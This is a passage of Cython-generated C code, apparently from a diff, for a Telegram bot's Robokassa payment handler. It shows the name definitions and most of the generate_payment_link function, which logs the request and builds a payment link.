__pyx_mstate_global->__pyx_kp_u__5 +#define __pyx_kp_u__6 __pyx_mstate_global->__pyx_kp_u__6 +#define __pyx_kp_u__8 __pyx_mstate_global->__pyx_kp_u__8 +#define __pyx_kp_u__9 __pyx_mstate_global->__pyx_kp_u__9 +#define __pyx_n_s_add_connection __pyx_mstate_global->__pyx_n_s_add_connection +#define __pyx_n_s_add_payment __pyx_mstate_global->__pyx_n_s_add_payment +#define __pyx_n_s_aiogram __pyx_mstate_global->__pyx_n_s_aiogram +#define __pyx_n_s_aiogram_fsm_context __pyx_mstate_global->__pyx_n_s_aiogram_fsm_context +#define __pyx_n_s_aiogram_fsm_state __pyx_mstate_global->__pyx_n_s_aiogram_fsm_state +#define __pyx_n_s_aiogram_types __pyx_mstate_global->__pyx_n_s_aiogram_types +#define __pyx_n_s_aiogram_utils_keyboard __pyx_mstate_global->__pyx_n_s_aiogram_utils_keyboard +#define __pyx_n_s_aiohttp __pyx_mstate_global->__pyx_n_s_aiohttp +#define __pyx_n_s_algorithm __pyx_mstate_global->__pyx_n_s_algorithm +#define __pyx_n_s_amount __pyx_mstate_global->__pyx_n_s_amount +#define __pyx_n_u_amount __pyx_mstate_global->__pyx_n_u_amount +#define __pyx_n_s_amount_str __pyx_mstate_global->__pyx_n_s_amount_str +#define __pyx_n_s_answer __pyx_mstate_global->__pyx_n_s_answer +#define __pyx_n_s_args __pyx_mstate_global->__pyx_n_s_args +#define __pyx_n_s_as_markup __pyx_mstate_global->__pyx_n_s_as_markup +#define __pyx_n_s_asyncio_coroutines __pyx_mstate_global->__pyx_n_s_asyncio_coroutines +#define __pyx_n_s_await __pyx_mstate_global->__pyx_n_s_await +#define __pyx_n_s_balance __pyx_mstate_global->__pyx_n_s_balance +#define __pyx_n_s_builder __pyx_mstate_global->__pyx_n_s_builder +#define __pyx_n_s_callback_data __pyx_mstate_global->__pyx_n_s_callback_data +#define __pyx_n_u_callback_data __pyx_mstate_global->__pyx_n_u_callback_data +#define __pyx_kp_u_callback_data_2 __pyx_mstate_global->__pyx_kp_u_callback_data_2 +#define __pyx_kp_u_callback_data_3 __pyx_mstate_global->__pyx_kp_u_callback_data_3 +#define __pyx_n_s_callback_query __pyx_mstate_global->__pyx_n_s_callback_query +#define __pyx_n_s_chat __pyx_mstate_global->__pyx_n_s_chat +#define __pyx_n_s_check_connection_exists __pyx_mstate_global->__pyx_n_s_check_connection_exists +#define __pyx_n_s_check_payment_signature __pyx_mstate_global->__pyx_n_s_check_payment_signature +#define __pyx_n_s_choosing_amount_robokassa __pyx_mstate_global->__pyx_n_s_choosing_amount_robokassa +#define __pyx_kp_u_chose_to_enter_a_custom_amount __pyx_mstate_global->__pyx_kp_u_chose_to_enter_a_custom_amount +#define __pyx_n_s_class_getitem __pyx_mstate_global->__pyx_n_s_class_getitem +#define __pyx_n_s_clear __pyx_mstate_global->__pyx_n_s_clear +#define __pyx_n_s_cline_in_traceback __pyx_mstate_global->__pyx_n_s_cline_in_traceback +#define __pyx_n_s_close __pyx_mstate_global->__pyx_n_s_close +#define __pyx_n_s_config __pyx_mstate_global->__pyx_n_s_config +#define __pyx_n_s_confirm_keyboard __pyx_mstate_global->__pyx_n_s_confirm_keyboard +#define __pyx_n_s_data __pyx_mstate_global->__pyx_n_s_data +#define __pyx_n_s_database __pyx_mstate_global->__pyx_n_s_database +#define __pyx_n_s_debug __pyx_mstate_global->__pyx_n_s_debug +#define __pyx_n_s_description __pyx_mstate_global->__pyx_n_s_description +#define __pyx_kp_u_description_2 __pyx_mstate_global->__pyx_kp_u_description_2 +#define __pyx_n_s_dict __pyx_mstate_global->__pyx_n_s_dict +#define __pyx_kp_u_disable __pyx_mstate_global->__pyx_kp_u_disable +#define __pyx_n_s_doc __pyx_mstate_global->__pyx_n_s_doc +#define __pyx_n_s_e __pyx_mstate_global->__pyx_n_s_e +#define __pyx_kp_u_enable __pyx_mstate_global->__pyx_kp_u_enable +#define __pyx_n_u_enter_custom_amount_robokassa __pyx_mstate_global->__pyx_n_u_enter_custom_amount_robokassa +#define __pyx_kp_u_entered_custom_amount __pyx_mstate_global->__pyx_kp_u_entered_custom_amount +#define __pyx_n_s_error __pyx_mstate_global->__pyx_n_s_error +#define __pyx_n_s_exists __pyx_mstate_global->__pyx_n_s_exists +#define __pyx_n_s_expected_signature __pyx_mstate_global->__pyx_n_s_expected_signature +#define __pyx_kp_u_gc __pyx_mstate_global->__pyx_kp_u_gc +#define __pyx_n_s_generate_by_script __pyx_mstate_global->__pyx_n_s_generate_by_script +#define __pyx_n_s_generate_payment_link __pyx_mstate_global->__pyx_n_s_generate_payment_link +#define __pyx_n_s_get __pyx_mstate_global->__pyx_n_s_get +#define __pyx_n_s_get_key_count __pyx_mstate_global->__pyx_n_s_get_key_count +#define __pyx_n_s_handle_custom_amount_input __pyx_mstate_global->__pyx_n_s_handle_custom_amount_input +#define __pyx_n_s_handlers_payments_robokassa_pay __pyx_mstate_global->__pyx_n_s_handlers_payments_robokassa_pay +#define __pyx_kp_s_handlers_payments_robokassa_pay_2 __pyx_mstate_global->__pyx_kp_s_handlers_payments_robokassa_pay_2 +#define __pyx_n_s_handlers_payments_utils __pyx_mstate_global->__pyx_n_s_handlers_payments_utils +#define __pyx_n_s_handlers_texts __pyx_mstate_global->__pyx_n_s_handlers_texts +#define __pyx_n_s_hashlib __pyx_mstate_global->__pyx_n_s_hashlib +#define __pyx_n_s_hexdigest __pyx_mstate_global->__pyx_n_s_hexdigest +#define __pyx_n_s_i __pyx_mstate_global->__pyx_n_s_i +#define __pyx_n_s_id __pyx_mstate_global->__pyx_n_s_id +#define __pyx_n_s_import __pyx_mstate_global->__pyx_n_s_import +#define __pyx_n_s_info __pyx_mstate_global->__pyx_n_s_info +#define __pyx_n_s_init_subclass __pyx_mstate_global->__pyx_n_s_init_subclass +#define __pyx_n_s_initializing __pyx_mstate_global->__pyx_n_s_initializing +#define __pyx_kp_u_initiated_Robokassa_payment __pyx_mstate_global->__pyx_kp_u_initiated_Robokassa_payment +#define __pyx_n_s_inline_keyboard __pyx_mstate_global->__pyx_n_s_inline_keyboard +#define __pyx_n_s_inv_id __pyx_mstate_global->__pyx_n_s_inv_id +#define __pyx_kp_u_inv_id_2 __pyx_mstate_global->__pyx_kp_u_inv_id_2 +#define __pyx_n_s_is_coroutine __pyx_mstate_global->__pyx_n_s_is_coroutine +#define __pyx_n_s_is_test __pyx_mstate_global->__pyx_n_s_is_test +#define __pyx_kp_u_isenabled __pyx_mstate_global->__pyx_kp_u_isenabled +#define __pyx_n_s_key_count __pyx_mstate_global->__pyx_n_s_key_count +#define __pyx_n_s_link __pyx_mstate_global->__pyx_n_s_link +#define __pyx_n_s_logger __pyx_mstate_global->__pyx_n_s_logger +#define __pyx_n_s_main __pyx_mstate_global->__pyx_n_s_main +#define __pyx_n_s_md5 __pyx_mstate_global->__pyx_n_s_md5 +#define __pyx_n_s_merchant_login __pyx_mstate_global->__pyx_n_s_merchant_login +#define __pyx_n_s_message __pyx_mstate_global->__pyx_n_s_message +#define __pyx_n_s_metaclass __pyx_mstate_global->__pyx_n_s_metaclass +#define __pyx_n_s_module __pyx_mstate_global->__pyx_n_s_module +#define __pyx_n_s_mro_entries __pyx_mstate_global->__pyx_n_s_mro_entries +#define __pyx_n_s_name __pyx_mstate_global->__pyx_n_s_name +#define __pyx_n_s_out_sum __pyx_mstate_global->__pyx_n_s_out_sum +#define __pyx_n_s_params __pyx_mstate_global->__pyx_n_s_params +#define __pyx_n_s_password1 __pyx_mstate_global->__pyx_n_s_password1 +#define __pyx_n_s_password2 __pyx_mstate_global->__pyx_n_s_password2 +#define __pyx_n_u_pay __pyx_mstate_global->__pyx_n_u_pay +#define __pyx_n_u_pay_robokassa __pyx_mstate_global->__pyx_n_u_pay_robokassa +#define __pyx_n_s_payment __pyx_mstate_global->__pyx_n_s_payment +#define __pyx_n_s_payment_link __pyx_mstate_global->__pyx_n_s_payment_link +#define __pyx_n_s_payment_url __pyx_mstate_global->__pyx_n_s_payment_url +#define __pyx_n_s_post __pyx_mstate_global->__pyx_n_s_post +#define __pyx_n_s_prepare __pyx_mstate_global->__pyx_n_s_prepare +#define __pyx_n_s_process_amount_selection __pyx_mstate_global->__pyx_n_s_process_amount_selection +#define __pyx_n_s_process_callback_pay_robokassa __pyx_mstate_global->__pyx_n_s_process_callback_pay_robokassa +#define __pyx_n_s_process_custom_amount_selection __pyx_mstate_global->__pyx_n_s_process_custom_amount_selection +#define __pyx_n_s_qualname __pyx_mstate_global->__pyx_n_s_qualname +#define __pyx_n_s_range __pyx_mstate_global->__pyx_n_s_range +#define __pyx_n_s_reply_markup __pyx_mstate_global->__pyx_n_s_reply_markup +#define __pyx_n_s_request __pyx_mstate_global->__pyx_n_s_request +#define __pyx_n_s_robokassa __pyx_mstate_global->__pyx_n_s_robokassa +#define __pyx_n_u_robokassa __pyx_mstate_global->__pyx_n_u_robokassa +#define __pyx_kp_u_robokassa_amount __pyx_mstate_global->__pyx_kp_u_robokassa_amount +#define __pyx_n_s_robokassa_webhook __pyx_mstate_global->__pyx_n_s_robokassa_webhook +#define __pyx_n_s_router __pyx_mstate_global->__pyx_n_s_router +#define __pyx_n_s_row __pyx_mstate_global->__pyx_n_s_row +#define __pyx_kp_u_selected_amount __pyx_mstate_global->__pyx_kp_u_selected_amount +#define __pyx_n_s_send __pyx_mstate_global->__pyx_n_s_send +#define __pyx_n_s_send_payment_success_notificatio __pyx_mstate_global->__pyx_n_s_send_payment_success_notificatio +#define __pyx_n_s_session __pyx_mstate_global->__pyx_n_s_session +#define __pyx_n_s_set_name __pyx_mstate_global->__pyx_n_s_set_name +#define __pyx_n_s_set_state __pyx_mstate_global->__pyx_n_s_set_state +#define __pyx_n_s_shp_id __pyx_mstate_global->__pyx_n_s_shp_id +#define __pyx_n_u_shp_id __pyx_mstate_global->__pyx_n_u_shp_id +#define __pyx_kp_u_shp_id_2 __pyx_mstate_global->__pyx_kp_u_shp_id_2 +#define __pyx_kp_u_shp_id_3 __pyx_mstate_global->__pyx_kp_u_shp_id_3 +#define __pyx_n_s_signature_string __pyx_mstate_global->__pyx_n_s_signature_string +#define __pyx_n_s_signature_value __pyx_mstate_global->__pyx_n_s_signature_value +#define __pyx_n_s_spec __pyx_mstate_global->__pyx_n_s_spec +#define __pyx_n_s_split __pyx_mstate_global->__pyx_n_s_split +#define __pyx_n_s_startswith __pyx_mstate_global->__pyx_n_s_startswith +#define __pyx_n_s_state __pyx_mstate_global->__pyx_n_s_state +#define __pyx_n_s_status __pyx_mstate_global->__pyx_n_s_status +#define __pyx_n_s_super __pyx_mstate_global->__pyx_n_s_super +#define __pyx_n_s_test __pyx_mstate_global->__pyx_n_s_test +#define __pyx_n_s_text __pyx_mstate_global->__pyx_n_s_text +#define __pyx_n_u_text __pyx_mstate_global->__pyx_n_u_text +#define __pyx_n_s_tg_id __pyx_mstate_global->__pyx_n_s_tg_id +#define __pyx_n_s_throw __pyx_mstate_global->__pyx_n_s_throw +#define __pyx_n_s_trial __pyx_mstate_global->__pyx_n_s_trial +#define __pyx_n_s_types __pyx_mstate_global->__pyx_n_s_types +#define __pyx_kp_s_types_CallbackQuery __pyx_mstate_global->__pyx_kp_s_types_CallbackQuery +#define __pyx_kp_s_types_Message __pyx_mstate_global->__pyx_kp_s_types_Message +#define __pyx_n_s_typing __pyx_mstate_global->__pyx_n_s_typing +#define __pyx_n_s_update_balance __pyx_mstate_global->__pyx_n_s_update_balance +#define __pyx_n_s_update_data __pyx_mstate_global->__pyx_n_s_update_data +#define __pyx_n_s_upper __pyx_mstate_global->__pyx_n_s_upper +#define __pyx_n_s_url __pyx_mstate_global->__pyx_n_s_url +#define __pyx_n_s_waiting_for_payment_confirmation __pyx_mstate_global->__pyx_n_s_waiting_for_payment_confirmation +#define __pyx_n_s_web __pyx_mstate_global->__pyx_n_s_web +#define __pyx_kp_u_with_amount __pyx_mstate_global->__pyx_kp_u_with_amount +#define __pyx_kp_u_with_balance_0_0 __pyx_mstate_global->__pyx_kp_u_with_balance_0_0 +#define __pyx_float_0_0 __pyx_mstate_global->__pyx_float_0_0 +#define __pyx_int_0 __pyx_mstate_global->__pyx_int_0 +#define __pyx_int_1 __pyx_mstate_global->__pyx_int_1 +#define __pyx_int_2 __pyx_mstate_global->__pyx_int_2 +#define __pyx_int_400 __pyx_mstate_global->__pyx_int_400 +#define __pyx_int_500 __pyx_mstate_global->__pyx_int_500 +#define __pyx_tuple__11 __pyx_mstate_global->__pyx_tuple__11 +#define __pyx_tuple__27 __pyx_mstate_global->__pyx_tuple__27 +#define __pyx_tuple__32 __pyx_mstate_global->__pyx_tuple__32 +#define __pyx_tuple__34 __pyx_mstate_global->__pyx_tuple__34 +#define __pyx_tuple__35 __pyx_mstate_global->__pyx_tuple__35 +#define __pyx_tuple__36 __pyx_mstate_global->__pyx_tuple__36 +#define __pyx_tuple__37 __pyx_mstate_global->__pyx_tuple__37 +#define __pyx_tuple__38 __pyx_mstate_global->__pyx_tuple__38 +#define __pyx_tuple__40 __pyx_mstate_global->__pyx_tuple__40 +#define __pyx_tuple__41 __pyx_mstate_global->__pyx_tuple__41 +#define __pyx_codeobj__2 __pyx_mstate_global->__pyx_codeobj__2 +#define __pyx_codeobj__7 __pyx_mstate_global->__pyx_codeobj__7 +#define __pyx_codeobj__20 __pyx_mstate_global->__pyx_codeobj__20 +#define __pyx_codeobj__24 __pyx_mstate_global->__pyx_codeobj__24 +#define __pyx_codeobj__28 __pyx_mstate_global->__pyx_codeobj__28 +#define __pyx_codeobj__33 __pyx_mstate_global->__pyx_codeobj__33 +#define __pyx_codeobj__39 __pyx_mstate_global->__pyx_codeobj__39 +/* #### Code section: module_code ### */ + +/* "handlers/payments/robokassa_pay.py":50 + * + * + * def generate_payment_link(amount, inv_id, description, tg_id): # <<<<<<<<<<<<<< + * """ .""" + * logger.debug( + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13robokassa_pay_1generate_payment_link(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +PyDoc_STRVAR(__pyx_doc_8handlers_8payments_13robokassa_pay_generate_payment_link, "\320\223\320\265\320\275\320\265\321\200\320\260\321\206\320\270\321\217 \321\201\321\201\321\213\320\273\320\272\320\270 \320\275\320\260 \320\276\320\277\320\273\320\260\321\202\321\203."); +static PyMethodDef __pyx_mdef_8handlers_8payments_13robokassa_pay_1generate_payment_link = {"generate_payment_link", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13robokassa_pay_1generate_payment_link, __Pyx_METH_FASTCALL|METH_KEYWORDS, __pyx_doc_8handlers_8payments_13robokassa_pay_generate_payment_link}; +static PyObject *__pyx_pw_8handlers_8payments_13robokassa_pay_1generate_payment_link(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_amount = 0; + PyObject *__pyx_v_inv_id = 0; + PyObject *__pyx_v_description = 0; + PyObject *__pyx_v_tg_id = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[4] = {0,0,0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("generate_payment_link (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_amount,&__pyx_n_s_inv_id,&__pyx_n_s_description,&__pyx_n_s_tg_id,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 4: values[3] = __Pyx_Arg_FASTCALL(__pyx_args, 3); + CYTHON_FALLTHROUGH; + case 3: values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + CYTHON_FALLTHROUGH; + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_amount)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 50, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_inv_id)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 50, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("generate_payment_link", 1, 4, 4, 1); __PYX_ERR(0, 50, __pyx_L3_error) + } + CYTHON_FALLTHROUGH; + case 2: + if (likely((values[2] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_description)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[2]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 50, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("generate_payment_link", 1, 4, 4, 2); __PYX_ERR(0, 50, __pyx_L3_error) + } + CYTHON_FALLTHROUGH; + case 3: + if (likely((values[3] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_tg_id)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[3]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 50, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("generate_payment_link", 1, 4, 4, 3); __PYX_ERR(0, 50, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "generate_payment_link") < 0)) __PYX_ERR(0, 50, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 4)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + values[3] = __Pyx_Arg_FASTCALL(__pyx_args, 3); + } + __pyx_v_amount = values[0]; + __pyx_v_inv_id = values[1]; + __pyx_v_description = values[2]; + __pyx_v_tg_id = values[3]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("generate_payment_link", 1, 4, 4, __pyx_nargs); __PYX_ERR(0, 50, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.robokassa_pay.generate_payment_link", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13robokassa_pay_generate_payment_link(__pyx_self, __pyx_v_amount, __pyx_v_inv_id, __pyx_v_description, __pyx_v_tg_id); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13robokassa_pay_generate_payment_link(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_amount, PyObject *__pyx_v_inv_id, PyObject *__pyx_v_description, PyObject *__pyx_v_tg_id) { + PyObject *__pyx_v_payment_link = NULL; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + Py_ssize_t __pyx_t_4; + Py_UCS4 __pyx_t_5; + PyObject *__pyx_t_6 = NULL; + unsigned int __pyx_t_7; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("generate_payment_link", 1); + + /* "handlers/payments/robokassa_pay.py":52 + * def generate_payment_link(amount, inv_id, description, tg_id): + * """ .""" + * logger.debug( # <<<<<<<<<<<<<< + * f"Generating payment link for amount: {amount}, inv_id: {inv_id}, description: {description}" + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 52, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_debug); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 52, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/robokassa_pay.py":53 + * """ .""" + * logger.debug( + * f"Generating payment link for amount: {amount}, inv_id: {inv_id}, description: {description}" # <<<<<<<<<<<<<< + * ) + * payment_link = robokassa._payment.link.generate_by_script( + */ + __pyx_t_2 = PyTuple_New(6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = 0; + __pyx_t_5 = 127; + __Pyx_INCREF(__pyx_kp_u_Generating_payment_link_for_amou); + __pyx_t_4 += 36; + __Pyx_GIVEREF(__pyx_kp_u_Generating_payment_link_for_amou); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u_Generating_payment_link_for_amou); + __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_5 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) > __pyx_t_5) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) : __pyx_t_5; + __pyx_t_4 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_6); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_6); + __pyx_t_6 = 0; + __Pyx_INCREF(__pyx_kp_u_inv_id_2); + __pyx_t_4 += 10; + __Pyx_GIVEREF(__pyx_kp_u_inv_id_2); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u_inv_id_2); + __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_v_inv_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_5 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) > __pyx_t_5) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) : __pyx_t_5; + __pyx_t_4 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_6); + PyTuple_SET_ITEM(__pyx_t_2, 3, __pyx_t_6); + __pyx_t_6 = 0; + __Pyx_INCREF(__pyx_kp_u_description_2); + __pyx_t_4 += 15; + __Pyx_GIVEREF(__pyx_kp_u_description_2); + PyTuple_SET_ITEM(__pyx_t_2, 4, __pyx_kp_u_description_2); + __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_v_description, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_5 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) > __pyx_t_5) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) : __pyx_t_5; + __pyx_t_4 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_6); + PyTuple_SET_ITEM(__pyx_t_2, 5, __pyx_t_6); + __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyUnicode_Join(__pyx_t_2, 6, __pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_6}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 52, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":55 + * f"Generating payment link for amount: {amount}, inv_id: {inv_id}, description: {description}" + * ) + * payment_link = robokassa._payment.link.generate_by_script( # <<<<<<<<<<<<<< + * out_sum=amount, + * inv_id=inv_id, + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_robokassa); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_payment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_link); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_generate_by_script); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":56 + * ) + * payment_link = robokassa._payment.link.generate_by_script( + * out_sum=amount, # <<<<<<<<<<<<<< + * inv_id=inv_id, + * description=" ", + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_out_sum, __pyx_v_amount) < 0) __PYX_ERR(0, 56, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":57 + * payment_link = robokassa._payment.link.generate_by_script( + * out_sum=amount, + * inv_id=inv_id, # <<<<<<<<<<<<<< + * description=" ", + * id=f"{tg_id}", + */ + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_inv_id, __pyx_v_inv_id) < 0) __PYX_ERR(0, 56, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_description, __pyx_kp_u_) < 0) __PYX_ERR(0, 56, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":59 + * inv_id=inv_id, + * description=" ", + * id=f"{tg_id}", # <<<<<<<<<<<<<< + * ) + * logger.info(f"Generated payment link: {payment_link}") + */ + __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 59, 